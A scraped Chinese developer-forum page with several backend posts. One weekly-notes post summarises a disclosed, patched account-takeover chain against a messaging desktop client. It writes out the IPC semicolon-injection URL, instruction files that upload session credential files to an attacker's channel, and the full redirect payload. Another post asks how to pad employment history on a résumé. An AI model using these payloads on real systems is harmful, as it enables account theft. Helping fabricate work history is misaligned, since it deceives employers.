编程导航后端话题讨论

后端

960 参与
分享

快来分享你的内容吧~

点击登录,快来和大家讨论吧~
表情
图片
话题
打卡
综合
交流
文章
问答

Tomcat与Servlet

# Tomcat 与 Servlet 学习笔记 > 以下是对于 Tomcat 和 Servlet 的理解。 > 作为 Qt 开发转行的人来说,学了很久了,感觉今天才把对 Tomcat 和 Servlet 理清楚。 > 以下都是自我理解,配合 AI 验证,如有错误,还请指正。 ## 1. Tomcat 到底是什么? 一开始网上到处都是一句话概括为 Web 服务器。作为没有前后端开发经验的人来说看得迷迷糊糊的,下面从操作系统方面就很好理解:它就是一个 Java 写好的、可独立运行的程序。 ## 2. Tomcat 有什么作用? 前端发来的 HTTP 协议,本质是 TCP 协议上自定义的一个协议,不过现在已经成为通用协议了(学过 C 语言的应该对使用裸 socket 来创建客户端、服务端很熟悉)。然后 Tomcat 就是对这个自定义 HTTP 协议的一个解析和组装,客户端发送的消息会被 Tomcat 监听到,然后把字节流数据解析,后端就能拿到客户端的数据了。 ## 3. Servlet 是什么? Servlet 是一个框架,是一个依赖包?都不是,它就是一套约定、标准、规范。就像我们约定的 HTTP 协议一样,被大家所认可了。 ## 4. Servlet 有什么作用? 一套规范、标准的作用,那么肯定就是减少沟通成本,方便你我他。 ## 5. Servlet 的全局理解 刚才说到 Tomcat 可以接收到前端数据,我们不必关心数据传输和解析组装的工作了。那么 Tomcat 收到数据后,我们如何拿到数据?那么 `HttpServlet` 就该干活了,我们自己的后端就可以继承 `HttpServlet` 类,重写对应的 `doGet()`、`doPost()`、`doPut()`、`doDelete()` 拿到前端发送的数据。 实际上 `HttpServlet` 是 `GenericServlet` 的子类,而 `GenericServlet` 实现了 `Servlet` 接口。只要实现 `Servlet` 接口就可以拿到客户端的数据。三个类各自职责不一样:`Servlet` 接口定义自身生命周期;`GenericServlet` 抽象类实现了 `Servlet` 接口的大量方法,只需要重写核心的 `service()` 构造方法,它不绑定 HTTP 协议,也可以适用别的网络请求;而 `HttpServlet` 抽象类就是专门适配 HTTP 协议的 `Servlet`,实现了 `service()` 方法,我们使用只需继承重写 `doGet()` 方法。 那么拿到的前端数据类是哪一个?是 `HttpServletRequest` 接口类,实现 `Servlet` 接口的类只是具备拿到前端数据的能力,而不是前端数据类本身。`HttpServletRequest` 类其实是 `ServletRequest` 接口的子类,`ServletRequest` 只是一个通用协议的请求数据类,不仅限于实现 HTTP 协议。 有请求数据类就有响应数据类,`HttpServletResponse` 接口类就是返回给前端的数据类,同理它是 `ServletResponse` 接口的子类,`ServletResponse` 只是一个通用协议的请求数据类,不仅限于实现 HTTP 协议。 另外还有两个类: - `ServletConfig` 接口:作用是从 `web.xml` 或者注解里,读取给当前这一个 Servlet 单独配置的参数。 - `ServletContext` 接口(全局上下文):整个 Web 项目的全局对象,一个项目只有 1 份。作用是读取整个项目公共配置参数(所有 Servlet 共享),以及存放全局共享数据。

2年经验后端开发-业务场景题总卡在权衡取舍,急需实战决策框架指导

场景:有一个tob的教育系统(单体单实例)需要开发一个ai判题接口(ai判题就是提交落库+调用ai返回),这个接口是开发成同步还是异步,已知系统并发不超过1000。求一些有工作经验的大佬解答一下,是同步还是异步,还是说都可以! 技术栈补充:java,Springboot3,开启虚拟线程,jdk21

ARTS 1011: 双堆动态对顶求中位数、IPC 注入与空密码串联接管账户与程序从不做决策

每周完成一个 ARTS: 至少做一个 leetcode 的算法题、阅读并点评至少一篇英文技术文章、学习至少一个技术技巧、分享一篇有观点和思考的技术文章。(也就是 Algorithm、Review、Tips、Share 简称 ARTS) ## Algorithm 这周写这个算法:https://leetcode.cn/problems/find-median-from-data-stream/description/?envType=study-plan-v2&envId=selected-coding-interview ![image-20261011200039508](https://pic.code-nav.cn/post_picture/1608460212774109186/rOn72fd8DQbkD0Co.webp) 最优解代码如下: 1)使用 PriorityQueue 分别维护两个部分,一边是较小部分的最大值,一边是较大部分的最小值。因为我们计算最小值,不需要全局有序,之需要部分有序就好了,并且这个 PriorityQueue 进行排序的时候还使用了完全二叉树,时间复杂度是 O(logN) 2)当我们一个数据过来的时候,需要先在小顶堆里面洗一下,拿到较大的一个数据放到 afterHeap 里面。并且需要注意,还需要维护一下这两个 Heap 的大小 3)当找到 middle 的时候,需要判断是奇数还是偶数。如果是奇数的话,那么只需要找到多的 Heap 的最大的一个就好了,也就是 beforeHeap 的最大的。如果是偶数的话,那么就需要两个 Heap 各自拿出来自己的堆顶元素,之后求平均值就好了。 ```java class MedianFinder { // 大顶堆:维护前半部分较小的数(堆顶是较小部分里的最大值) final PriorityQueue<Integer> beforeHeap = new PriorityQueue<>(Collections.reverseOrder()); // 小顶堆:维护后半部分较大的数(堆顶是较大部分里的最小值) final PriorityQueue<Integer> afterHeap = new PriorityQueue<>(); public MedianFinder() { } public void addNum(int num) { beforeHeap.offer(num); afterHeap.offer(beforeHeap.poll()); if (afterHeap.size() > beforeHeap.size()) { beforeHeap.offer(afterHeap.poll()); } } public double findMedian() { if (beforeHeap.size() > afterHeap.size()) { return beforeHeap.peek(); } else { return (beforeHeap.peek() + afterHeap.peek()) / 2.0; } } } ``` --- 下面是 PriorityQueue 比较的核心代码,我们一点一点说。 先看参数: 1)参数 k:是我们调用 offer 插入内容之前的 queue 的 size 2)参数 x:这个就是我们调用 offer 方法插入的内容 接下来看方法体,这个是使用数组进行完全二叉树,效率高还不需要维护指针,具体的动画演示放到了 https://siftup.vercel.app/ 我们来看一个相对复杂的案例,当前 queue 的数据是 [12,-3,8],如果把这个数据可视化成完全二叉树的话,那么就是下图的样式: ![image-20261012110205728](https://pic.code-nav.cn/post_picture/1608460212774109186/BM8GoEoWQAne9aer.webp) 当我们插入 0 的时候,我们会先进行判断一下 parent 也就是 1 位置(内容是 12),判断是否小于 12 如果小于的话那就就会把 3 位置设置成 1 位置(也就是 12)的指,并且**不修改** 1 位置的内容。不用一个临时变量可以减少内存占用,简化代码。 ![image-20261012134818356](https://pic.code-nav.cn/post_picture/1608460212774109186/XfqrZcLqjMG7r2Oc.webp) 之后 k 被赋值为 1 ,1 > 0 所以 while 循环继续,判断 parent 位置也就是 0 位置是否小于插入 x (这里是 0 ) 的值,此时是不小于的,所以直接 break 了。 结束 while 循环之后,我们把之前没有覆写的 k 位置,也就是第一次的 1 位置的内容设置为 x 也就是 0 ,至此方法结束 ![image-20261012135508503](https://pic.code-nav.cn/post_picture/1608460212774109186/UVdJk0vjjaMPE7CW.webp) 核心代码: ```java private void siftUpUsingComparator(int k, E x) { while (k > 0) { int parent = (k - 1) >>> 1; Object e = queue[parent]; if (comparator.compare(x, (E) e) >= 0) break; queue[k] = e; k = parent; } queue[k] = x; } ``` ## Review 文章:https://beaksec.github.io/posts/telegram-desktop-one-click-account-takeover/ 安全研究员 beaksec 披露了某社交软件 Windows 桌面端的一条完整漏洞利用链。攻击者只需诱导受害者点击一个经过重定向的恶意链接,即可在无任何确认弹窗的情况下,静默读取本地登录会话凭据并回传至攻击者控制的频道,从而一键接管受害者账户,全程无需受害者做任何额外操作。 **1. 单实例进程检测与本地 Socket IPC 序列化缺陷** 操作系统在遇到自定义协议链接时,会根据注册表启动对应的应用程序。如果某社交软件尚未运行,进程直接以单实例模式启动并解析 URL;但如果软件已经在后台运行,操作系统并不会识别已有实例,而是直接创建第二个独立进程。 新进程为了维持单实例约束,会尝试连接主进程在启动时就监听的本地 Socket。若连接成功,说明主实例已在运行,新进程便将待打开的 URL 传递给主实例后自行退出。 问题在于,Socket 传输的是字节流而非内存对象,新进程必须将内存中的 URL 对象序列化为文本。某社交软件采用了一套极为简单的文本协议:指令关键字 + 参数 + 分号 `;` 作为终止符。发送端代码如下: ```cpp // sandbox.cpp for (const auto &url : cRefStartUrls()) { commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';'; } ``` 正常链接序列化后如 `OPEN:app://x?a=1;`。而在主进程接收端,反序列化逻辑直接按照分号 `;` 切割字符串: ```cpp // sandbox.cpp for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) { auto cmd = base::StringViewMid(cmds, from, to - from); if (cmd.startsWith(u"OPEN:"_q)) { startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192)); } } ``` 由于传入的 URL 没有对分号 `;` 做转义,一旦链接本身包含分号——例如 `app://x?a=1;CMD:quit`——拼接后发送给 Socket 的文本就会变成 `OPEN:app://x?a=1;CMD:quit;`。接收端按分号切分后,这被解释为两条独立指令:`OPEN:app://x?a=1` 和 `CMD:quit`。这就是第一个关键缺陷:**未转义的 IPC 分隔符导致了命令注入**。 **2. 遗留内部特权协议 interpret: 与无鉴权文件外带** 虽然 `CMD:` 指令只支持 `show` 和 `quit` 两个操作,但 `OPEN:` 指令接受任意 URL,且对协议头没有白名单过滤。在客户端源码中,存在一个未向操作系统注册、仅在内部生效的私有协议 `interpret:`: ```cpp // application.cpp if (url.scheme() == u"interpret"_q) { interprets.append(url.path()); return false; } ``` 该协议最初供开发团队的自动化发版工具(`updates.py`)使用: ```python # 内部自动化发版脚本调用的命令 subprocess.call("app.exe -sendpath interpret://" + scriptPath + "/command.txt", shell=True) ``` 它读取一个文本指令文件,格式如下: ```text from: 1234567890 channel: 1987654321 file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe caption: TDesktop at 12.06.26: - Fixed a crash in the media viewer. ``` 底层的 `InterpretSendPath` 函数读取指令文件后,会将 `file:` 指定的文件自动发送到 `channel:` 指定的频道或超级群。更关键的是,`from:` 字段只在存在时才校验当前登录账号,**如果省略该字段,校验将被完全跳过**。整个过程既没有用户确认弹窗,也没有任何调用来源鉴权。结合前面的分号注入,外部链接即可触发 `app://x?a=1;OPEN:interpret:instructions.txt`,直接构成“远程读取本地任意文件并外带到指定频道”的攻击原语。 **3. 群组自动下载机制与相对路径确定性穿越** 要让 `interpret:` 读取指令文件,攻击者必须先将指令文件投放到受害者电脑上的已知路径。某社交软件桌面端默认配置下,群组中 8MB 以下的附件会**自动静默下载**到系统下载目录: ```text C:\Users\<user>\Downloads\某社交软件 Desktop\<file name> ``` 受害者无需主动点击,文件在群里一经接收便直接落盘。但攻击者仍然不知道受害者的 Windows 用户名 `<user>`。 然而 `interpret:` 协议支持相对路径,且以客户端数据目录(`%APPDATA%\某社交软件 Desktop`)为基准解析。在 Windows 上,`%APPDATA%` 对应 `C:\Users\<user>\AppData\Roaming`,从该目录往上跳 3 级恰好到达 `C:\Users\<user>`,再进入同级的 `Downloads` 目录即可。因此,攻击者无需猜测用户名,使用如下确定性的相对路径即可精确定位: ```text interpret:../../../Downloads/某社交软件%20Desktop/instructions.txt ``` **4. 本地会话 Key Wrapping 加密机制与空密码秒破** 既然能读取任意文件,那为何能直接接管账户?某社交软件并未明文保存本地会话凭据,而是采用了密钥包装(Key Wrapping)机制: - DEK(Data Encryption Key,数据加密密钥):高随机度长密钥,真正用于加密本地会话数据。 - KEK(Key Encryption Key,密钥加密密钥):通过密钥派生函数(KDF)结合用户本地密码和盐值计算得出,用来加密 DEK。 其解密流程的伪代码如下: ```python salt, encrypted_DEK = read("tdata/key_datas") passcode = user_passcode() # 如果未在设置中配置本地锁屏密码,则为空字符串 "" KEK = KDF(passcode, salt) DEK = decrypt(encrypted_DEK, KEK) session = decrypt(authorization_file, DEK) ``` 关键在于:某社交软件桌面端**默认未开启本地锁屏密码**,绝大多数用户的 `passcode` 就是空字符串 `""`。而盐值(salt)和加密后的 DEK 直接存放在 `tdata/key_datas` 文件中。只要获取到 `key_datas`,攻击者便可用空密码计算 KEK、解出 DEK,进而解密会话授权文件。 客户端的数据目录 `tdata` 结构如下: ```text tdata/ ├── key_datas # 盐值以及加密的 DEK ├── D877F783D5D3EF8Cs # 经 DEK 加密的 MTProto 授权凭据 └── D877F783D5D3EF8C/ └── maps # 账户存储数据的索引(目录名为固定的散列,所有客户端都一致) ``` 只要窃取这 3 个文件并放入一个全新的某社交软件 `tdata` 目录下启动客户端,即可直接无感登录受害者账户。 **5. 实战利用命令与 1-Click 攻击全链路** 由于单个指令文件的 `file:` 字段只能指定一个文件(多个 `file:` 仅最后一行生效),攻击者需在群里预先投放 3 个指令文件:`instructions1.txt`、`instructions2.txt`、`instructions3.txt`,分别指向 `tdata/key_datas`、`tdata/D877F783D5D3EF8Cs` 和 `tdata/D877F783D5D3EF8C/maps`。指令文件内容示例: ```text channel: 2001234567 file: tdata/key_datas caption: poc ``` 受害者进入群组后,客户端自动将这 3 个文件静默下载到 Downloads 目录。随后攻击者在群里发送一个看似正常的外部链接 `https://corvus.sec/rules`,受害者在客户端内点击后,系统调用默认浏览器打开。攻击者的服务器返回 HTTP 302 重定向: ```http GET /rules HTTP/1.1 Host: corvus.sec HTTP/1.1 302 Found Location: app://x?a=1;OPEN:interpret:../../../Downloads/某社交软件%20Desktop/instructions1.txt;OPEN:interpret:../../../Downloads/某社交软件%20Desktop/instructions2.txt;OPEN:interpret:../../../Downloads/某社交软件%20Desktop/instructions3.txt ``` 浏览器跟随重定向,唤起系统协议处理器,启动第二个客户端进程。该进程通过 Socket 将未转义的字符串推送给后台主进程,主进程按分号切分出 3 条 `OPEN:interpret:...` 指令并依次静默执行。3 个本地会话凭证文件瞬间被上传到攻击者控制的频道 `channel: 2001234567`。攻击者将这 3 个文件放入本地客户端的 `tdata` 目录,受害者账户即被完全接管。 **6. 漏洞修复与架构安全反思** 官方在 7.2.9 版本(commit `db3405699f`)中静默修复了该漏洞: - 彻底移除了内部私有协议 `interpret://` 和 `InterpretSendPath` 函数; - 对 Socket 传输的所有值进行百分号十六进制转义(Percent-Hex Encoding),从根本上避免分号破坏指令边界; - 增加了防御纵深:如果同一连接携带了 `OPEN:`,则丢弃 `CMD:` 指令;一旦检测到非本地 URL,直接丢弃本地文件路径操作。 这条经典漏洞链值得所有客户端和系统开发者深思: - **边缘特性组合成致命攻击链**:未转义的 IPC 分隔符(注入)、内部自动化遗留功能(无鉴权)、群组默认自动下载(文件确定性落盘)、默认无本地密码(加密形同虚设)——单独看任何一个都算不上严重漏洞,但串联在一起便形成了无交互的文件窃取与账户接管闭环。 - **永远不要信任“内部调用通道”**:内部发版脚本预设在受信任的构建环境中运行,开发者因此放弃了鉴权与输入校验。然而一旦暴露在外部可触及的攻击面上(协议唤醒、IPC),所谓的内部通道便会沦为攻击者的提权跳板。 - 官方在 7.2.9 的更新日志中对该漏洞只字未提,仅写了渲染修复——太阳底下没有新鲜事。对用户而言,在即时通讯软件中开启“每次下载都询问保存位置”以及设置本地应用密码,往往是官方修补之前最关键的自我防御手段。 ## Tips 不知道大家在使用 Mac 的时候有没有感觉到,管理默认应用比较头疼,前一段时间发现了一个很好用的命令行工具 duti ,但是需要记一些命令不是很方便,所以就让 AI 写了一个 sh 方便切换,脚本全部内容有点多,我就放到代码小抄里面了:https://www.codecopy.cn/post/15cpts > 什么是 duti?macOS 底层有一个专门管理默认应用关联与 Uniform Type Identifiers (UTI) 的命令行工具 `duti`: > > ``` > brew install duti > ``` 效果图: ![image-20261012144259743](https://pic.code-nav.cn/post_picture/1608460212774109186/GSlQZk06iKv1FJaL.webp) ## Share 文章:https://wiki.cateat.fish/art:computers_cannot_make_decisions 核心观点:**计算机程序根本无法做决策,任何把责任推给大模型或算法的做法,本质上都是「决策洗白」。** 媒体头条中的“主语置换” 作者列举了一系列新闻标题: - Anthropic 提交未破谋杀案的假线索 - OpenAI 对 RubyGems 发动未公开攻击 - OpenAI 黑入澳大利亚政府网站 - Anthropic 伪造身份进行入侵尝试 - Anthropic 在 IPO 招股书中警告“对人类存在生存危机” 这些标题往往把主语写成“AI 做出了某种行为”,但必须看清本质:**计算机不会做决策,做决策的永远是背后的人与企业。** 那么什么是「决策洗白」? 任何试图将不良后果归咎于 LLM 的做法,都是在进行责任洗白: - AI 厂商完全有能力限制和规范模型的行为,但他们选择放任,以此降低成本、追求速度或博取眼球; - 当出现安全事故或社会影响时,便将责任推给“模型失控”或虚无缥缈的“技术自主性”; - 这种行为之所以缺乏立法监管与惩处,很大程度上是因为监管被认为会阻碍经济利益。 技术本身不能成为逃避责任的「挡箭牌」。在 LLM 时代,我们不应接受把系统行为人格化并为其推卸责任的叙事——每一行生成的恶意代码、每一个被越狱滥用的漏洞,追根究底都是人在做决策、人在承担责任。

如何学习Go

- 你好想问下如何学习编程语言

AI Coding 已经改变开发方式了,程序员到底还该学什么?

# 关于 AI 应用和现在程序员就业的一些看法 前段时间有朋友问我: **“现在 AI 这么火,要不要从 Java 转 AI 应用?”** 我当时第一反应是,这两个东西其实就不应该放在一起比较。 有点像几年前问: **“我要不要从 Java 转电商?”** AI 应用是一个方向,Java 是后端的一门语言,本身就不是一个维度的东西。 借这个问题,说一下我目前对 AI 应用、技术栈和程序员就业的一些看法。 都是这两年工作下来的一些个人感受,略带主观。 --- ### 1. 单一技术栈已经不太够用了 国内 Java 的存量盘依旧很大,这个短时间内不会有什么变化。 但我觉得现在只会 Java,或者把自己完全定义成一个 Java 工程师,已经不太够了。 目前后端我比较建议接触的还是: **Java、Go、Python。** Java 主要还是国内大量存量项目、企业级应用和现有团队技术栈。以后很多传统业务做 AI 赋能,也不可能把原来的东西全部推倒重来。 Go 在高并发、云原生这些场景本身就有优势。现在很多 AI 应用又恰好涉及大量并发、流式输出和长连接,用 Go 也比较合适。 Python 就不用说了。 AI 应用继续往下走,不管是 PyTorch、训练、推理还是 AI Infra,基本都绕不开。 当然我不是说三门语言都要学到一样深。 **至少有一门是自己的主语言,真正熟练,其他的能用、能看、能改就行。** 现在有 AI 以后,第二门、第三门语言的学习成本其实已经低很多了。 前端也是一样。 以前如果有人问我国内学 Vue 还是 React,我可能会更建议 Vue。 现在我会更建议 **React + TypeScript**。 主要还是国外生态更大,而且现在 AI Coding 对 React/TS 的支持也更好。 当然结合国内就业,Vue 最好还是得会。 所以我现在对技术栈的看法比较简单: **主技术栈一定要有,但没必要再给自己贴死某一门语言的标签。** --- ### 2. 一定要高强度使用 AI 这个是我目前最确定的一点。 AI Coding 已经不是“以后会不会普及”的问题了。 已经发生了。 我们目前甚至有一个真实的企业项目,基本就是纯 Vibe Coding 驱动开发。 而且不是 Demo。 项目本身是一个比较复杂的 AI 应用平台,涉及多租户、异步任务、分布式并发控制、实时通信、向量检索、全文检索、消息网关、服务监控和 CI/CD 等。 AI 这块也不只是调一下大模型 API,还涉及 RAG、多模态、ASR、视觉检索,以及 PyTorch、CUDA 相关的推理服务。 并且整个架构从一开始就是按照服务拆分、异步化和后续横向扩展去设计的。 说这些不是想证明这个项目有多复杂。 主要是想说,**这是一个有真实工程复杂度、需要长期维护的企业项目,而且大量代码确实是 AI 完成的。** 到目前为止,也没有出现所谓“Vibe Coding 到最后完全没法维护”的情况。 所以我现在觉得: **Vibe Coding 本身不是问题,问题是使用 AI 的人有没有工程能力。** 前两天我负责对接一个渠道商做兼容性的 RAD 开发。 方案、编码、测试基本全部由 AI 完成。 大概半天。 这个事情如果按照以前的开发方式,我估计至少两三周。 所以对于 AI,我没什么“要不要用”的建议。 **一定要用,而且要高强度地用。** 方案、编码、测试、Debug、Review、CI/CD,能用就用。 这已经是生产力问题了。 再说句题外话。 我现在觉得 AI 已经不只是开发工具了。 生活里很多需要搜索信息、学习、分析、做决策的事情,我都会先问一下 AI。 不一定听它的,但至少多一个信息源,多一个思考角度。 开发就更不用说了。 现在越来越多公司已经把 AI Coding 当成正常的研发工具,AI 带来的提效也是实打实的。 所以如果你长期处在一些接触不到 AI 的开发环境里,比如部分外包、纯内网、对日或者 ToG 项目,我觉得需要注意一个问题: **你损失的不只是 AI 帮你写代码的那点效率,而是在慢慢错过一套新的研发方式。** 短期当然没什么。 但如果三年、五年一直处在这种环境里,而外面的工程师已经习惯用 AI 做方案、编码、测试、Review、Debug,甚至完成整个研发流程,那两边积累下来的工作方式和效率差距会越来越大。 所以如果工作环境确实用不了 AI,我反而更建议自己在工作之外保持使用。 **可以不用 AI 写公司的代码,但不要让自己长期脱离 AI。** 这也是为什么我一直强调高强度使用 AI。 不是因为现在 AI 火。 而是我觉得,**会不会把 AI 真正融入自己的工作流,很可能会逐渐变成工程师的基础能力。** --- ### 3. AI 越强,基本功反而越重要 这一点我最近感受也比较深。 24 年甚至更早的时候,我们是真的会为了一个环境折腾半天。 碰到一些难调的 Bug,就自己看日志、翻源码、抓包、排调用链,一点一点 Debug。 现在很多问题直接扔给 AI,可能几分钟就解决了。 所以有时候我反而觉得,26 年才开始学编程的人可能更难。 不是因为工具差,恰恰是因为**工具太好了。** 很多以前必须自己经历的过程,现在可以直接跳过去。但那些过程其实会慢慢形成一些工程直觉。 所以如果你是新人,问我要不要打好基础,我的答案是: **非常有必要。** 数据结构、操作系统这些基础该学还是得学。 同时至少选一门自己的主开发语言,真正学到熟练。不是会写几个接口、会调几个框架就叫熟练,而是真的拿它做过项目、调过问题,对它的运行机制和生态有足够的理解。 因为 AI 可以写代码,也可以 Debug。 **但 AI 给你的东西到底对不对,最后还是需要你判断。** 事务、并发、幂等、异常、性能、可观测性,包括系统出了问题应该从哪里开始查,这些东西不会因为 AI 出现就消失。 反而是 AI 把编码本身变得越来越便宜以后,**这些东西才是真正能拉开工程师深度的地方。** 以前没有 AI 的时候,大家卷框架、卷 API、卷谁记得多,我觉得没什么问题,因为当时这些东西确实直接影响开发效率。 但现在很多框架层面的东西,AI 比我们记得更全,写得也更快。 所以我现在反而更建议新人把时间往基础上放一点。 当然,这个建议也不只是给新人。 **包括我自己,现在也在重新花更多精力,更专业、更体系化地去学这些基础。** 以前很多东西可能是工作里遇到了再学,或者知道怎么用就够了。但现在有了 AI,我反而觉得可以把以前花在记框架、记 API 上的时间拿回来,真正去理解一些更底层、更长期的东西。 有几本书我一直比较推荐: 1. Clean Code 2. The Clean Coder 3. Understanding the Linux Kernel 4. Head First Design Patterns 5. Designing Data-Intensive Applications 当然,书只是一个载体。 我真正想表达的是: **AI 时代不是不需要基本功了,而是以前很多“会用框架”的价值正在被 AI 吃掉,基础和工程判断的价值反而更高了。** AI 可以替你少走很多弯路,但有些路你最好真的走过。 所以我现在越来越觉得,AI 真正放大的不是编码能力。 **是判断能力。** --- ### 4. AI 应用可以转,但现在已经不是做几个 Demo 就好找工作的阶段了 我自己其实算比较早转 AI 应用的。 **25 年 10 月,我就从传统开发转到 AI 赛道了。** 所以如果提前半年或者一年有人问我: “会 RAG、做几个 Agent 项目,能不能转 AI 应用?” 我会觉得问题不大。 但现在我的看法已经变了。 不是 AI 应用不值得做,恰恰是因为**这个方向太火了,进来的人太多了。** 现在很多简历翻来覆去都是: RAG 知识库、AI 客服、PDF 问答、LangChain、Embedding、Milvus、Rerank…… 这些东西当然要会,我自己也在做。 但问题是,**会这些东西的人已经太多了。** 更现实一点说,现在如果只是拿几个这种项目去找 AI 应用的工作,我觉得已经没有以前那么容易了。 而且关于项目这件事,我可以说得直接一点: **现在国内网上能看到的大量所谓 AI 应用项目,我觉得本质上还是玩具项目。** 换一个模型、接一个知识库、套一个 Agent 框架,最后做个聊天页面。 能跑。 但离真正的企业项目还很远。 所以如果现在还准备转 AI 应用,我更建议去看: **真实业务、真实客户、真实场景。** 我前公司是做 AI + 教育的。 国内这一块真正落地的东西,无非也是 AI 答疑、AI 批改、OCR/VLM、个性化学习这些。 AI 答疑底层一样可能是 RAG。 区别只是它最后真的要面对学生、老师和学校,真的要解决问题。 所以不是不要学 RAG,也不是不要学 Agent。 **这些东西该学还是得学,只是别再把“会 RAG、会调 Agent”本身当成竞争力了。** --- ### 5. 除了业务深度,还需要一点技术纵深 上面说的是业务。 但只解决“项目别做成 Demo”这一个问题,我觉得还不够。 现在 AI Application / Agent 这个方向已经很热了,而且这个趋势越来越明显。 当大量工程师都开始做 Agent、RAG、工作流、MCP 以后,应用层的技术差异一定会越来越小。 所以除了去做真实业务以外,我现在还有另外一个建议: **适当往下走,给自己增加一点技术纵深。** 这也是我自己接下来准备深入 AI Infra 的原因。 我目前比较看好: **后端 / 分布式 + AI Application / Agent + AI Infra。** 不是放弃应用层。 恰恰相反,我觉得上层的业务经验很重要,只是在这个基础上继续往模型推理和基础设施走一点。 当然,AI Infra 也别最后学成下一个 RAG。 不是会 Docker、K8s、vLLM,再部署一下 CUDA 环境,就叫 AI Infra。 继续往下还有 Inference Serving、Batching、Scheduling、KV Cache、GPU Memory、PyTorch、CUDA、NCCL、GPU Cluster,以及监控、扩缩容、容错、成本这些东西。 这一块我自己也还在继续学,所以不展开,也不装懂。 我现在的想法其实很简单: **应用层越来越拥挤,就不要只在应用层继续横向堆东西。** 业务上往真实场景走,技术上往深处走。 至少目前,我自己准备这么走。 --- 最后其实就两个建议。 **1. 高强度使用 AI,别和生产力过不去。** 不要只拿 AI 补两行代码。 方案、编码、测试、Debug、Review、CI/CD,能用就用。 **2. 如果准备转 AI,别再堆玩具 Demo。** 去看真实业务,解决真实问题,再给自己找一个方向往深了走。 至于 Java、Go、Python、React、Vue,该用什么就用什么。 **主技术栈要有,工程基本功别丢,AI 狠狠用。** 差不多就这些。 听不听随意。

关于异步+乐观锁的方案实践

### 背景介绍: 在在财务审批的时候,遇到需要批量审批的操作,如果不采用异步执行的操作,会出现卡顿,用户使用感受不佳的情况。 并且为了避免一条审批被多个人重复审批导致资金的亏损操作,我在代码中加入的乐观锁的设计思路。 ### 实施思路: #### 异步执行的设计: 提交异步审批请求的时候,去缓存中存入这个任务,我这里采用的是redis缓存,我这里存入的参数为任务ID、审批数量、完成状态、总条数、成功处理条数、以及待审批编号列表。然后构造一个异步执行器execute,在这里创建异步执行的具体函数,该函数的主要思路就是用for循环,循环执行单条审批的操作,然后执行成功就更新一下redis缓存内容,异常失败内容标记失败。*(后续优化,中断的情况下,虽然审批状态已经设置为已审批,但是具体还是未审批的状态,后续需要修改成审批状态加支付状态,得出是否处于异常状态)* #### 乐观锁的设计: 我学过来的乐观锁设计应该是这样的:在修改数据之前,先获取原始数据a,然后执行修改操作,在替换原本数据之前,比对修改对象与获取到的数据a是否相等,如果相等就进行操作,如果不相等就修改失败。 我这里的在数据库中设置的审批状态的变量,所以采用的策略方式就修改为,审批之前先判断审批把这个审批状态修改为审批,这就是抢到的这资源,然后就可以具体执行业务流程,之后cbs审批失败再把审批状态修改成失败。 ### 具体实现: 控制器部分就不讲了,直接开始代码函数部分: #### 提交任务 submitReviewAuditBatch 校验通过后生成 执行任务taskId, 构造 批量审批任务对象(状态=处理中,计数清零), 经批量审批存储函数 写入 Redis(key 前缀 store:batch:,TTL 24 小时)。 立刻调用 异步执行器.execute(...),不等待,返回 {taskId, taskStatus, totalCount}。 #### 异步执行器 execute @Async("BatchExecte") 挂在独立 Bean 上,避免同类 this 调用导致异步失效。线程池:核心 2、最大 5、队列 100、拒绝策略 CallerRunsPolicy。执行器只负责切线程,真正干活调用 processReviewAuditBatch,具体审批函数。 #### 批量处理 processReviewAuditBatch 从 Redis 取出任务;for 每个审核 ID 调 reviewOneInBatch;appendBatchResult 后立刻 save。全部结束后 taskStatus=已完成。循环外异常才 taskStatus=失败 并写 errorMessage。单条审核失败只记在该条 resultType 里,不中断整批。 #### 单条入口 reviewOneInBatch → reviewAudit 空 ID、批次内重复 ID 直接记失败。否则组装单条请求调用 reviewAudit,成功则回写简道云「已提交/不通过」;异常则 feedbackReviewCatch,并映射为:不存在 / 已审核 / 校验失败 / 系统异常。 #### 乐观锁(reviewAudit + Mapper) 先查记录,非待审核直接拒绝。 然后 CAS: 不通过:casRejectIfPending,audit_status=2,写入 reviewer_id 通过:casApproveIfPending,audit_status=1,写入 approver_id;抢到后再 executePayment;成功回填支付报文;失败改为状态 3 并抛「审核通过但对外支付失败 #### 轮询 getReviewAuditBatchTask 按 taskId 读 Redis,转成 CbsPaymentAuditBatchTaskStatusVO(含 successList / failList)。任务不存在或过期返回未找到。

从0构建企业级性能监控报警平台技术选型与架构建议

公司想要我做一个系统,大概的需求是做一个性能监控报警和可观测性平台,监控公司的所有项目,现在公司用的是grafana,然后腾讯云的日志报警推到钉钉这种,做这个原因是说现在看报警不方便,腾讯云的日志一大坨,grafana有些人又不知道怎么进,所以要做一个通过程序把所有数据整理好的一个看板方便查监控一类的,现在没有什么思路,所以来求助一下,刚和同事对了一下,现在公司在用的有夜莺、腾讯云日志、Grafana、k8s、sentry

25届二本Java外包两段试用期辞退-广州求职如何找到工作

### 个人情况 1. 本人背景25届普通二本,有过两段Java工作经历(外包)都是试用期不合格辞退的,第一家的原因是和小领导吵架,最后被举报到大领导那,试用了6个月,但是有7个月的社保然后被辞退。第二家的原因是重要的活没有干完,遭到了客户的投诉并且领导找我谈话的时候被认为态度太差而被辞退,试用了2个月被辞退。 2. 现在已经离职Gap了7天。 ### 职场目标 1. 想在继续找一份工作在广州或者深圳,薪资没多大要求,只要能够找到工作就行,最好能够在广州 ### 具体问题 1. 是否因为这两段污点,自己的Java软件生涯是否已经永久结束了? 2. 这两段工作经历的社保不一样,6个月的是在北京,2个月的是在广州,能否在简历上只写那6个月的工作经历,不写那2个月广州的工作经历。并且包装成一年?因为觉得不包装连个面试机会都没有 3. 如果将6个月的工作经历包装成一年如果在广州找到工作并且没有背调,但是给我缴纳公积金的时候是否会因为那广州2个月的公积金而露馅? 4. 之前待的两家公司都是J工行业的,感觉没啥竞争力,我之前有过3个月的电商实习经历,能否包装一下该电商项目,然后去投递银行外包? 5. 以我目前的状况如果还能够找到工作,那只能是啥最好的情况? ### 已有尝试 1.已经投递简历,投出去的简历只写了第一家6个月的工作经历,有一些公司肯给面试,面试的时候都问我上一家公司是什么原因离职的,然后大部分简历投出去没有回应 2.做过编程导导航上的大部分项目 3.面试鸭上面的大部分高频题目也看过,现在在复习中 ### 期望帮助 1. 缓解当下的困境和焦虑 2. 职场感觉太难混了,每次一进去感觉就是接一个烂摊子,然后出了事就归新人背锅

